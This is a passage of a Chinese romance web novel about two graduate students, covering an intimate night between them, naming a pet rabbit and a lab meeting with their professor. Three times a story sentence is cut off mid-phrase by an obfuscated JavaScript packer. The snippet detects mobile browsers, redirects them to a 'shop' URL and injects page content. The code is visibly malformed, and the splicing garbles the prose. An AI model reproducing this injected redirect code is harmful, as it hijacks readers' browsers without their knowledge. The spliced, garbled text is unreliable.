不知怎么,小初竟有点被他说服。 “好,一言为定。” “那现在。”他对着她的唇吻上来,“倒计时开始,方太初,告诉我,你想要我吗?” 小初脑子里有点发晕,却又不自觉地回应着他。 “我们要人为控制那个让爱情停摆的开关,一点一点让自己冷静下来。所以我们只能把热烈都留在今天。今天过后,如果你不想要,我不会再碰你,你自己做决定。” 余萧弋的声音有些蛊惑,小初感觉自己正在陷入某个潮湿泥泞的沼泽,很快就要万劫不复。 手机的光源被毯子遮住,随着他们的动作,房间里忽明忽暗,他们的影子叠加映在墙壁和天花板上,有种说不出的眩晕和迷醉,尽管他们比谁都知道他们此刻的清醒。 小初没有喝酒,而他晚餐时喝的半杯酒,恐怕也早被代谢掉了。 尽管很艰难,小初还是摇了摇头,眼波流转间妩媚不自觉荡漾开来,声音低得简直不像她的,“别到那一步,我怕疼。” “嗯?”余萧弋的呼吸瞬间被点燃。 就是说…… 除了那一步,任他自由发挥的意思吗? 他关掉手机的灯源,转而按下了遥控器的开关。很快,一整面墙的LED屏幕就亮了起来,空气里开始流淌古典钢琴协奏曲。 唇被封住,小初没办法问他问题,只能瞪大眼睛疑惑地看向他,他这是什么奇怪的癖好?以后……都要听这个才行吗? “不是。”他似是看懂了她在想什么,停下动作小声解释,“我怕没那么隔音。” 一句话,就让她整个人瞬间陷入无名浪潮,他到底是对她和他有什么误解? 自恋的是人是不是觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432392|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么都是最好的? 身体好烫。 两个人都是。 他的吻经过她锁骨,流连着,没停。 迷蒙中,随着什么东西蹁跹落地,一小片纯白的蕾丝便如百合花般绽放在幽暗中,余萧弋怀疑自己幻听,竟有另一个躁动的鼓点在配合流淌的钢琴,愈演愈烈,直至失控。 肩带很解风情,小时候学钢琴的时候,启蒙老师就说过他,指节如此修长,生来就有掌控节奏的天赋。 那一排松散的勾扣对他而言更算不上什么难题。 失控感是在解开的一瞬间就立刻袭来的,室内温度有点低,她冷得发颤,然后感观就被另一种潮湿的温暖代替,紧接着就是一阵混乱不清的喘息声,一种很奇幻的,只有在梦里才出现过的暖流袭遍全身,让她想起去年冬天北海道的温泉。 她断断续续地问,“你听见外面有什么声音了吗?” 他轻吮着,逐渐有了醉意,却还是没忘耐心地安抚着她,“什么声音都没有。” 和他一样,她在幻听。 她承认她这一刻的紧张,陌生的环境让她没有安全感,只能将手指插入他发丝来寻求一点信念上的支撑。她本能想推开他,却又沉迷其中片刻不想停,逐渐失了力气。 可根本不是她幻听,门外很快真的传来一阵敲门声:“哥,你在里面吗?” 是Enzo的声音。 “怎么办?”她小声问他,已经快哭了。 “不用理他。”他流连回她耳侧,声音已经低哑到不行,“他进不来。” “你确定吗?” “嗯。” “余萧弋,我今晚不想在这住。” “好,一会雾散了我们就回去。我说了,我还有礼物要给你看。”他眼中的欲色潋滟着,一只手与她十指相扣。 终于,一首曲子接近尾声,在一阵呜咽声中,节奏逐渐舒缓了下来。 半晌,小初都只敢把脸埋在他颈窝里,根本没有和他对视的勇气,身体绷直那一瞬,她已经有了很不好的预感,没想到下一秒那个预感就成了真。 “对不起。”她一边哭一边给他道歉。 “傻瓜,你在道什么歉?” “我不知道会这样。” 余萧弋感受了一下她的味道,安慰道,“挺好闻的。” 她听了立刻抬起头来,眼泪还挂在脸上,一把捂住他的嘴,“你不许说!” 他失笑,“好,我不说。” “怎么办,你现在就去洗手吧。”她吸着鼻子指了指不远处,“那边就是洗手间。” “宝贝,这是我自己家,我当然知道那里是洗手间。不着急,我再抱一会你。”他亲昵地吻了吻她的头发。 小初还是想哭,“我好丢脸。” “这有什么丢脸的,这只是正常的生理现象。”而后轻咳一声,不经意问她,“以前自己没有体验过吗?” 她摇摇头。 “傻瓜,你要学会取悦你自己啊。”他突然心脏一紧,一种说不清难过还是心疼的滋味充斥了他,本来还因无法释放而堆积的痛苦瞬间消散开来,一颗心变得极为柔软,满脑子只剩下一个念头,一年之后若真和她分了手,他该怎么办,她又该怎么办。 他怎么舍得把这样的她交给别人?那个人会像他这样爱她对她好吗? 两人又抱了一会儿,小初才小声问道,“你呢?” 余萧弋一时没明白她在问什么,“什么?” “你还难受吗?” 他愣了愣,也学她捂住她的嘴,“别说话,再说又要难受了。” 却换来小初直接嫌弃地别过了头,“你,你不要用这只手碰我!” 余萧弋难以置信看了她一眼,到底还是笑了,“好,我去一下洗手间。” 因为怕她尴尬,起身之前他特地扯过羊毛毯将她裹了裹。 关上卫生间的门,他就打开了水龙头,那个温和舒缓的水流落在掌心的瞬间,他微微失了失神。 余萧弋一从视线里消失,小初就从沙发上弹跳了起来,开始满世界找她的衣服,并迅速穿好,又从茶几的收纳框里找到了湿巾,将她刚才坐过的地方仔细擦了一遍。 并将一切有序归位。 卫生间的水声持续了很久,等他出来的时候,她已经将自己整理得无懈可击,仿佛刚才什么都没发生过,只是气氛还是有些微妙,她看见他额前的头发有点湿,也不知道他是只洗了脸,还是顺便也洗了澡。 她不敢问,更不敢知道。 时间已经夜里十二点,这漫长的一天,真的发生好多事。 “走吧。” 小初有些犹豫:“他们会不会就在外面?我们要不还是再晚一会儿回去?” “不会。”余萧弋轻声哄着,“他们一般这个时间都睡了,不过,你要不放心,我先上去看看。” “嗯,你先去。”小初牵住他衬衫的下摆,帮他整理了一下上面明显的压痕,紧张嘱咐道,“要是有人,你就说……我们在下面看电影来着,你演技从容一点,千万别被人看出来。” 余萧弋斜睨她一眼,嘴角勾起一个好看的弧度,“方太初,你不是从来不自证吗?今天怎么慌成这样。” “……” 现在是说这个的时候吗? “没什么可害羞的。”他揉了揉她的脸颊,“我们只是做了相爱的人之间再正常不过的一件事,并且。”他顿了顿,“以后都不会有了。” 小初愣住,下意识问道:“为,为什么?” “因为,今天是倒计时的第一天,抛物线的顶点,就是我们之间今后一年最大程度的亲密标准。” 余萧弋拧开门把手,又回头补充了一句:“我会克制我自己,也请,方小姐你,不要越线。” “??” 小初实在没想到,余萧弋所说的“礼物”是一只非常软糯可爱的白色安哥拉兔子,而且还是很小一只,他们回去的时候,它正在窝里睡觉,最开始,她差点以为它是个玩具! “喜欢吗?”余萧弋双手插袋看着坐在地上把兔子抱在怀里的小初,眉间都是温柔。 小初疯狂点头。 而后她才想起件事来,逐渐收紧手臂,“可他们说情侣最好不要一起养宠物的,不然……” “放心。”余萧弋打断她,“分手了抚养权归你。” “……” 小初咬咬牙。 继而甜甜一笑,“那就谢谢哥哥了。” 余萧弋突然感觉……他又该冲个冷水澡了。 48.第 48 章 余萧弋说这种英系安哥拉兔确实可爱温顺,但也需要更多时间和精力照顾和打理,不然它浓密的毛发很容易打结,饮食和饮水也要特别注意,还要补充平衡素和酵母素什么的,最重要的,开始就要给它培养好生活习惯,耐心训练和沟通,这样后面才会越养越亲。 小初长大之后就没再养过宠物,听他这么一说,突然又有点害怕,怕自己养不好它,这毕竟是一条小生命,既然已经把抱回来了,当然要用心对它负起责任来才行。 余萧弋安抚道:“别担心,有我在呢。只是,你也要多跟它接触,让它熟悉你的气味才行。” 小初有点为难,她平时都很忙,宿舍又不能养宠物,哪来的时间和它培养感情啊。 余萧弋似是看出了她心中所想,体贴地提议:“我一会儿把家里门锁的密码发给你,这样你就随时都可以来看它了。” 小初抬眸,淡淡看了他一眼。 余萧弋会意,立刻解释,“你别误会啊,我也很忙的,又不是说你每次来我都在家,你不用有心理负担。” 小初看他一本正经的,也没说什么。 余萧弋又说:“而且这个家又不止我们两个出入。” 小初蹙了蹙眉,语气蓦地凶巴巴的,“还有谁?” 他嘴角的坏笑一闪而过,“工人姐姐啊!养小朋友没有人帮忙你和我怎么撑得住?家里现在这个状况,本来一个Enzo就够拥挤的了,现在又多一个成员,每天不做两三次卫生还不臭死了?” 养小朋友…… 虽然说宠物是家里的小朋友也没错,可这话怎么听着一语双关的? 小初有些担心,“Enzo会不会欺负兔子?” “不会的,Enzo很温顺的。”余萧弋想到什么,跟小初说:“你给它取个名字吧,这样明天早晨起来就可以训练它熟悉自己的名字了。” 小初一时想不出来,就先抱着浴巾去了淋浴间,之前在影音室弄的一身狼狈还没洗,黏腻得她难受。 锁上门脱了衣服,她才看清自己此刻的模样,从锁骨向下,一直到腰侧,已经全是斑驳的吻痕,虽然很浅,但因为她皮肤白,看上去就格外明显。 她之前只在小说里见过这样的描写,忽地在现实世界看见,心脏一时有点承受不住,双手撑在洗手台上半晌,才接受这样的自己。 其实……刚刚他动作一直挺温柔的,怎么会这样呢? 一定是她毛细血管壁太薄了,才会稍微碰下就会这样,对,一定是的。 之前有次她头疼,姥姥说给她刮个痧,结果也是没怎么着呢,她脖子就已经一片青紫了,并且好几天都没下去。 折腾到现在已经凌晨一点多了,小初很少熬夜,所以她能明显感觉到身体的疲惫,但不知怎么,大脑就是静不下来。花洒里的水从腿心流过的时候,她想起了和他十指相扣的那个真实的触感,不自觉颤了颤。 因为早晨出门时候已经洗过头发了,所以她没有冲太久,只把重点部位仔细洗了洗就关了水,然后她才想起来她没拿睡衣,只能隔着门喊他帮忙,经过影音室那段意外的插曲,她好像对很多事的接受度高了很多,以至于喊他的声音都无比自然:“Theo余,帮我拿一下你的睡衣好吗?就那天我穿过的那套就好。” 很快,他就把衣服挂在了门把手上。 待他的影子从磨砂玻璃上消失,她才动作敏捷地将衣服拿了进来,可下一秒她的视线就凝住了,他拿的根本不是她那天穿过的那套,而是一件他的T恤,她比了比,长度倒还好,可……她的内裤都洗掉了,单一件她怎么穿啊。 “哎。” 她只喊了一个字,余萧弋的声音就适时出现了。 “一次性内裤给你放在里面架子上了,你那天穿的那套……我穿过了,今天过节,工人姐姐没过来,所以还在洗衣筐里。” 小初转过视线,果然在架子上看到了他说的东西。 只是……这东西是他买的吗? 她呼吸有些滞涩,完全想象不到如此倜傥的余大少爷买这个东西时候的样子。只是,他既然买了,就不能帮她买一套睡衣放在这里吗? 这一次,小初很小心,没有让胸衣沾到水。他买的内裤是纯白的颜色,和她的胸衣很搭,他的长T刚好到她大腿上方,她穿起来很有种Oversize的洒脱风,倒也适配。 出去的时候,他已经裹着被子在沙发上躺了。 腿仍旧超出沙发边缘很长。 他这副样子,小初不知怎么感觉更冒犯了。刚明明什么都对她做了,现在她身上还留着他做那些事的证据呢,他又弄这个死样子给谁看啊? 装得不累? 她睨他:“你不洗澡了吗?” 他没看她,声音有点沉,“刚在那边不是洗过了吗。” 小初眯了眯眸子,默默用毛巾擦着被打湿的头发回了卧室。 床上的被子已经被他铺好了,房间里没开主灯,床头灯的光线有些昏暗。小初掀开被子,躺下去。他家里安装了全屋空气净化新风系统,温度更是常年二十六度,裹着这样的蚕丝凉被最舒服。 小初关掉床头灯。 明明温度,光线,床品,以及她自己都已经准备到位了,可她就是睡不着。 一闭上眼,就是他手指在皮肤上游走的那个若有似无的痒意。 卧室的门没关,她知道他也没睡。 十分钟后,她终于忍不了了,鞋子都没穿就蹬蹬蹬跑去了客厅,一把拉下他覆在脸上的被子,没说话,就那么瞪了他一会儿。 余萧弋似有些莫名,问她:“怎么了?” “睡不着。” “所以呢?” 小初把他的被子整个扯进怀中,抱住,“你要过来陪我聊天。”说完又觉得心虚,加了句,“因为至少现在,我还是你女朋友。” Enzo打呼噜的声音有点大,她不确定她是不是听见了他一声轻笑。 小初说:“抱上你的枕头。” 似是很无奈,但他还是跟着她回了卧室。 小初把他的被子扔在床上。 余萧弋看了她一眼,表情很耐人寻味,“方小姐,你要想好,请神容易送神难,下次想把我赶出去,可是不能了。” “你还睡那边。”小初指了指另一边床沿。 余萧弋从善如流,把枕头摆好,贴着床沿躺下,又扯过他的被子将自己一整个严严实实裹住,防备的意思不言而喻,然后才说:“你想聊什么?现在已经很晚了。” 小初以跪着的姿势上了床,因为她想了想,穿着这么短的衣服,只有这个姿势是最安全的。 她膝行着,一步一步凑到了他面前,居高临下地盯着他好看的眼睛,本来没有真的想好自己要说什么,却也没有任何犹疑地开了口,“你跟我讲实话,你跟我真的是初恋吗?” 余萧弋有些诧异,问她:“你不是说不要过于纠结一个人的过去吗?” “……”小初噎住。 都是学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16436665|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数学的逻辑怪,她早该知道跟他讲话要小心一点的。 他挑眉而笑,“宝贝,双标是不行的哦。” “可……”小初有些脸红,“你骗人就行吗?” “我什么时候骗你了。” “就……你的所作所为一点都不生涩,反而像一个经验很丰富的人。” 余萧弋意味深长:“方小姐,你又没体验过别人,是怎么判断我是生涩还是熟练的啊?” 小初再次噎住。 认识这么久,她是真的第一次产生了想揍他一顿的冲动。但又不得不承认他的逻辑完全经得起推敲,她已经想象到以后两个人吵架,她吵不过他的样子了。 小初是清冷又不失明艳的气质,偶尔像这样露出小女孩的天真,又生动得像四月天降临人间,让人恨不能把一切美好的东西,都送给她。 余萧弋欣赏了一会儿她生气起来也可爱得过分的脸,然后才哄道:“你想想,亚当和夏娃第一次的时候也是没有经验的,对吗?那个东西就是生而为人的本能,到底我要笨到什么程度,才会抱自己喜欢的人在怀都无从下手啊。” 小初一愣,再次被他说服。 那个东西……似乎的确是人类的本能,遇到喜欢的人就自动激活的。 “所以。”他自下而上看着她,尽管人始终规规矩矩躺在一隅,眼神的侵略性却似是将晚上的事又重复了一次,“你是舒服的,对吗?” “余萧弋!”小初面红耳赤,拿过一边的枕头就朝他砸过去。 想不到他躲都没躲,她的枕头反而停在半空,舍不得再往下一寸了。 算了。 天太晚了,她逻辑已经不清楚了。 等明天她休息好了再赢他好了。 “睡觉。” 小初把枕头放好,两人仍像上次一样睡得远远的,仿佛对方身上都有磁石,一旦突破安全距离,就要无可避免黏在一起了。 余萧弋关掉灯,想着那个在他身体上空停住的枕头,在黑暗中勾了勾唇,散漫地提醒了她一句:“方太初,你不要睡着睡着就越界哦。” 小初送了个无声的白眼给他。 半晌,他又问了句:“想好给小兔子取什么名字了吗?” 小初不知怎么忽然就来了灵感,还没开口就已经笑出来,“想好了,和你一样倒反天罡,我取的是个叠字,港港,香港的港。” 十秒过后,才听见他淡淡来了一句:“为什么叠字就倒反天罡了,你的孩子,姓余吗?” “……” 小初觉得自己这辈子没希望赢他了,沮丧地将自己埋在了被子里。 迷迷糊糊,不知过了多久才睡过去。卧室的窗帘很遮光,让人感受不到时间的概念。后半夜果然下了雨,雨势很大。她的梦里也在下雨,天地间一片茫茫,她一直在跑,许久,才找到一个可以遮雨的屋檐。 一颗心总算安稳下来。 又不知睡了多久,她好像感觉身边的床空了一块,没一会儿卫生间里就传来了水声。 她太困了,实在睁不开眼,也就没管。 直睡到早晨七点多起来上洗手间,她才发现自己之前洗的内裤忘记晾到阳台了。他的家里都是男生的东西,连沐浴液都是体感劲爽的,这就导致她那一小片白色的布料看起来特别突兀,也极其暧昧。 她有些脸热,伸手将它攥进了手心。 只是有点奇怪,室内这个温湿度,过了这么多个小时,它竟然…… 还是湿的。 49.第 49 章 接下来的一个月,小初额外忙。 史密斯教授指明一篇五十几页的数学前沿论文过来让她啃,并要求她三个月以内读完,且不是略读,是精读。 还要她在此基础上拆分出一个小方向来进行二次创作和推广定理,课程结束前做拓展性研究成果汇报。 刚收到那封邮件的时候,小初还以为他疯了。 那可是发表于《数学年刊》上的复杂猜想类论文,一般人读六个月到一年能读完就算不错了,他要求她三个月,是不是对她有什么误解? 小初想也没想,直接回邮件给他:“教授,我恐怕我做不到。” 史密斯教授却对她极有信心,“我看了你去年发的那篇SCI,以你的知识储备和逻辑思维应付这种计算简单,但需要点理解力的文章,比一般人快是理所应当的。” 小初快哭了。 这计算简单吗? 哪里就那么理所应当了? 史密斯又说,“你时间不多,等你学期结束离开这里,再想请我指导,我恐怕我也做不到了嗷。” 小初听了立刻收起了抱怨,这史密斯别的不好说,学术能力绝对是顶级的,至少人家二十五岁就已经在麻省理工开过讲座了。 “好,我尽量。” “别尽量,要保证。” 小初心想,我怎么保证我保证不了的东西? “需要什么文献,随时去我办公室拿。顺便,我过几天要去美国出差一个星期,你记得帮我给办公室的花浇下水,我在花盆上贴了标签,浇水频率都帮你注明了,应该没有问题吧?” 难得教授信任,小初没犹豫,直接答应了下来,“没问题。” 她现在看自己完全是膨胀的,心想她都能三个月啃下一篇高难度论文,那这世上还有什么她做不到的? 结果还没过三天,她就意识到了,还真有。 那就是人一忙起来,是真的没有时间谈恋爱。 她现在是既要上公共课读论文做作业,还要抽空准备建模大赛和司法考试,有时候她饭都没时间好好吃,经常随便买个三明治和奶茶就凑合了。 倒也不是应付不来,只是很累。 感觉自己每天都没有好好休息,身体一直在超负荷运行。 余萧弋也忙,除了学业,他还要应付家里的一系列事情,两个人的时间又都是碎片化的,很难对齐,偶尔碰面吃个饭喝杯咖啡,或是一块在图书馆上会儿自习,就已经算是一次甜蜜约会了。 周末以外的大多数时候,他们就只能靠邮件和聊天软件沟通。 这样的状态,似乎已经预示了未来几年两人的相处方式。 周末夫妻。 如果有万分之一的幸运一年之后分不成手的话。 关于港港生活习惯方面的训练,都是余萧弋一个人完成的。抱回来两周之后,它就已经能很规律地自己上厕所,可见他是真的用了心。 他们的运气很好,港港的性格非常温顺,爱干净又不乱咬东西,除了接下来每三周左右要送去剪一次毛,其他方面真的可以称之为人类的梦中情兔。 小初开玩笑说:“Enzo,港港,以后你们要记得对爹地好一些知道吗?他才是最疼你们的人。” 工人姐姐不在的时候,都是他给它们喂食,打扫笼子,收拾尿垫,梳理毛发…… 小初的心在那些时刻总是很柔软,透过那个场景,仿佛已经看到了他为人夫为人父的样子。 中秋夜之后,他们之间就再没有过亲密接触。 就算与她同床共眠,他也总是刻意和她保持着一段安全距离。 某个早晨,她不小心越了界,在他怀中醒来,他也只是点点她的额头,告诉她下次再这样,他可就不客气了。 结果下次依旧——很客气。 他越这样,小初越产生了一种想试探他的底线在哪里的心理,但隐约又觉得害怕。 凡是被压抑到极致的,爆发往往是最剧烈的,这个道理她懂。 她后来仔细想了想,人和人之间又不是非要用身体的互相占有来证明爱情存在过,适可而止也挺好的。 免得将来真分手时,牵扯太深。 虽然这么想是没错,她还是偷偷下载了个倒计时的小程序,安装在了手机上。 最开始,她也认同他的那套理念——用力爱,自然而然结束一切。 直至她发现,她每天早晨看到那串不断递减的数字心都会无比难过,对他的爱和依赖却明显在与日俱增时…… 她终于心生恐惧。 不是怕越来越浓烈的自己,而是越来越怕失去他。 她对他,就像不经意走进的一场雨,最开始雨势小,她浑然不觉,等浑身淋湿的时候,她才发现,自己早已身处其中。 他那天还说什么抛物线的顶点,小初很怀疑他们两个的抛物线开口方向是相反的,用不了多久,她的升温曲线和他的冷却曲线就要交汇了。再往后,可能就是渐行渐远了。 她早说过的,她是个慢热的人,他总是不信。 小初没想到史密斯出差会把余萧弋也带去。以至于她们再见面,已经是一个星期以后的事,确切地说,是六天十三个小时零二十八分钟。 小初都不知道自己是对数字太敏感,还是对他太敏感,总之,她就是记得那么清楚。 他回来那天时间太晚,两人没有见面,不过第二天一大早,她浇完花,就去了院里专属的会议室,那天刚好是第一次开大组会的日子,如无特殊情况,几个导师的所有硕博研究生都要参加。 小初去得晚了点,一进门,就被二三十个人同时抬头朝她看过来的画面吓了一跳。 余萧弋坐在最外面,身边还特地给她留了个位置,两人目光对视的瞬间,他眉间就泛起了温柔,连笑意都像染了极致的思念。 作为系主任,史密斯当仁不让坐在长桌尽头的主座上,一看见她,就跟其他人介绍到,“这就是你们所有人中最年轻的那位本科期间就发了SCI的小师妹,要不是她在原校读的是八年的培养课程,我非把她挖到麾下不可。” 接着又补充道:“可惜,得力干将无法拥有,不想要的庸才却跟雨前的飞蚁似的,也不知道都从哪飞进来的,赶都赶不走。我想问问,我到底要帮你们做多少teamwork才能让你们不辱师门地从这里走出去?” 小初被他拿靶子用,整个人跟中世纪女巫被投进火堆一样,总觉得下一秒那些人就都要来打她了。 余萧弋示意她在身边坐下。 小初从善如流,只是有点心事重重,没看他。 余萧弋在桌底下牵住她的手,温声安慰道:“你别理他,法国人就是刻薄,况且,他又没骂你。”他笑,“他骂我呢。” 史密斯是个中法混血,确切地说,是个香港巴黎混血,身上兼具了两个地方人的特点,高效务实又率直随性,也挺矛盾的。 余萧弋看她眼睛有点红,关切道,“哭了?” “没有。” “这么想我吗?”余萧弋歪头看了看她,同时也注意到她另一只手始终揣在外套口袋里,一副紧张绷直的状态,好像里面藏了什么罪证。 组会还有十分钟开始,不过大部分人已经到了。 史密斯突然想到了什么,开口问小初,“方太初,我办公室的花你照顾得怎么样?没浇水浇死吧?” 小初摇摇头。 “看来你在生活上也不算蠢。” 史密斯让助手调出一组外刊文献来,投到大屏上。 “只不过。”小初抿抿唇,还是有点承受不住心理压力,坦白道,“有别的东西死了。” 史密斯愣住。 整个会议室都难以置信地看向她。 包括余萧弋。 “什么东西?”史密斯的声音既蕴含了紧张,又有点好奇的样子,“我不记得我办公室还有什么其他活物啊。” “这个。” 小初从兜里掏出那个“罪证”或者说“受害者”轻轻放到桌面上,声音很低,“对不起啊教授,我真没看见它,一进门刚好踩到,等我发现的时候,它已经没救了。” 众人的目光都聚焦了过去。 原来是,一只幼年小乌龟? “它怎么在这!”史密斯跳起来,大步朝她走过来,“我家里养的乌龟,失踪快半个月了,竟然跑到办公室来了?” 会议室在那一刻是极其安静的。 所有人都在想,果然是最年轻的小师妹,心眼实诚成这样,导师又没交代乌龟的事,她干脆装作不知不就好了? “对不起,我也不清楚怎么回事。” 史密斯神色变了几变,脸上的悲痛不言而喻,但最后还是挥了挥手,“算了,也不能怪你,是我太不会照顾人,可能带什么东西不小心把它带过来了。它本来身体就不好,又这么多天没进食,估计在你踩上去之前就已经撑不住了。” 小初没说话,眼底都是愧疚。 史密斯把乌龟小心包了起来,神情复杂看了她一眼,冷哼,“想不到你不仅做科研一丝不苟,做人也挺实事求是的。” 说完就大踏步向位置走去,看了看表,示意助手,“准备一下,七分钟后准时开会!” “……”小初甚至没听懂他是在夸她还是骂她。 所有人都目瞪口呆看着这一幕,他们本来还以为凭老史这么难搞,还不把这孩子生撕了?没想到不仅没生撕,语气竟还有点……欣赏? 小乌龟已经不是他最喜欢的小乌龟了吗? 史密斯一转身,小初就听见余萧弋贴近她耳边说了句,“他夸你呢,他心里就喜欢你这样的人。” 顿了顿,又加了句,“我也是。” “……” 小初正准备翻开书包拿平板,不想史密斯隔着那么多人又来了句,“方太初,所以你毕业后什么打算?要不要考虑过来做香江学者?如果愿意,我可以把Theo指给你做男朋友,你也看出来了吧,他可是咱们全师门最帅的师兄。” 大家都笑。 她这次确认,他是真疯了。 当着这么多人,这是搞什么,听他那个语气,余萧弋不像是师门之光,倒像是什么声色场所的头牌。她不觉得这样的低级趣味有什么好笑,她喜欢的男人,岂是随便他指来之去给院里招生用的? 见她不吭声,史密斯只当她矜持,又用他那双似乎可以洞察一切的眼睛深深看了看她和余萧弋,“你不用顾虑太多,这次出差,他可是没少在我耳边提起你,凭我二十几年纵横情场的犀利经验,他绝对好钟意你。” 他话音一落,小初还没说话,坐在他下首的一个师姐是真的受不了了:“教授,你这么犀利,这次去纽约,一定见到师母了吧?” 整个系里稍微有点资历的谁没见过,史密斯太太三年前头都不回带着两个孩子离开他飞往美国时候,他躲在办公室里几天不吃不喝痛哭流涕的落魄模样?要不是他们这帮亲传弟子孝顺,一个接一个过来哄他吃饭,他恐怕早就饿死了吧? 现在嫌他们不出成果了,就开始骂他们是飞蚁了。 到底有几犀利啊? 她不说这个还好,一说,史密斯立刻春风满面,“被你猜中。”他很有些得意忘形,“师母圣诞节会带孩子们返港与我团聚。” 底下的人一听,瞬间了然,难怪他今天心情这么靓,小乌龟不幸去世都没有难为人……接着便开始起哄,“那教授今天不请咖啡就说不过去了吧?” 史密斯看了看表,“还有三分钟,人都到齐了吗?” “嘁。” “小气。” “教授你这么吝啬是很难追到妻的哦!” “我看师母还是别回来了,回来了说不定也会被带去街边吃快餐。” 所有人都开始唱衰。 “Theo。”史密斯没办法,只好隔着人群喊住余萧弋,“你去楼下那个咖啡厅,点咖啡和蛋挞上来给大家吃,记得要发票哦。” 余萧弋咳嗽一声,一本正经道:“好的教授,不过发票就算了,这顿我请了。” 小初眼皮一跳,隐约已经预感到他要做什么,可还未等她阻止,下一秒他已经当着众人揽住她的肩膀:“因为这位小师妹已经是我女朋友了,教授介绍人是做不成了,不过如果你愿意,将来可以给我们做证婚人。” 他是怎么坦然说出这句话的!不是说要跟她自然冷却明年夏天结束前就分手吗?这怎么又突然提起结婚的事了? “我就说你小子!”史密斯冷哼一声,“那方太初你跟他一块下楼去,免得太重了他一个人拿不上来,顺便,点多一杯苹果汁,敬我的小乌龟。” 他这么说,小初也没办法,只能听话地跟在余萧弋后面一块出了会议室的门,但没有和他并排走,而是稍稍落后一步,在他看不见的地方将他好好看了一遍。 几天不见,他好像瘦了一些,身姿更加挺拔了,平时的他大多数时间穿得都比较休闲,今天难得裤子有些修身,她的目光在他腰臀处不经意滑过,脸就热了起来。 前几天约朱慧雯去打网球,她打得太凶还被她轻嘲:“怎么了方太初,你男朋友不在火气这么大吗?拿我开虐来了是吧?” 她当时还没太明白她说什么,只当她是为她的力量和技巧彻底折服了,直到晚上回来洗澡手指掠过身体,才恍然过来,她说的火气是哪个火气。 两人停在走廊尽头等电梯,搞学术的地方,连电梯门都光亮如新,没有乱七八糟的贴纸广告。余萧弋仍旧在她前面一步,透过镜子一样的反光面看着她。 小初没躲,和他对视。 下一秒,电梯门还没打开,他已伸过手来,自然而然的,小初就将自己递进了他掌心,被他包裹的瞬间,就是一阵仓惶的心跳,连她自己都不明白,怎么和一个已经做过那么多亲密事的人还会有这么强烈的化学反应。 “怎么不说话?”他侧眸看向她,“几天不见,是又觉得我陌生了吗?” 小初点头:“你瘦了,还剪了头发。” 他唇边漾起笑涡,“怎么样,纽约的理发师审美还好吗?” 小初认真看了看他层次分明的半长头发,明明短了不少,却又跟原来的发型别无二致,能做到这种程度的理发师,技术自然是不用说的,“看着还不错,应该很贵吧?” 余萧弋都不知道怎么她话题就转到这个上来了,有些无奈,“不贵,不算小费一百零五刀。” “这还不贵?”小初简直不可思议,“这么贵竟然也看不出与原来有很大分别,他们怎么不去抢?” 电梯门打开,两人手牵手走了进去。 余萧弋咬牙:“Enzo和港港不到一个月就要剪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16451093|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次毛发,我这两个月才剪一次,你就心疼钱了?要不下次干脆你拿剪刀随便给我剪剪算了。” 小初“嗯”了一声,嘴角很微妙地牵了牵,“下次帮你剪个贴头皮的,看下你颜值扛不扛得住。” “我不要。”余萧弋蓦地收紧手指,让她感受到他这一刻的心情,“没你前任扛得住。” 小初:“?!……” 手机消息提示音响起,她打开一看才发现是同组的Cathy,对方似乎对他们的感情曝光比她本人还兴奋,【方太初!我就知道事情没那么简单!怪不得余师兄之前给我发邮件问进度总会不经意提起你!你们俩真的好配,一定要长长久久甜下去好吗!】 小初想也没想就回过去:【可惜,我期末结束就回北京了。】 【怕什么,你没听史密斯力邀你毕业后还回来呢吗?香江学者哎,年薪六七十万,哪怕为了这个钱,你也考虑考虑啊。讲实话我真的好羡慕,听别的师兄师姐说,老史可从来没这么对过别人。】 电梯门打开,小初也没看路,仍然盯着手机,就那么放心地把自己全权交给了他,倒是余萧弋有些无语,提醒她:“小姐,专心点,别又像上次似的差点从台阶上摔下去。” 小初疑惑地偏了偏头:“上次?什么时候?” “就你认识梁培风的那天。” “……” 他这是去了趟纽约还是去了趟山西?怎么醋味这么重? 小初回Cathy,【谁不知你们这边的房子都是按尺卖的,就算年薪六七十万,我又什么时候能买房?】 Cathy恨铁不成钢,【拜托,你男朋友姓余!你要不查查他们家族在富豪榜上的排名?】 小初笑笑,收起手机,没有再回她。 他是姓余,可是她更想问的是,如果要娶他回北京,需要多少钱,或许,她也还能努努力。 两人在咖啡厅给全系都买了咖啡和点心,即使这样,也没有花超过余萧弋剪头发的那个钱,他竟然还说不贵? 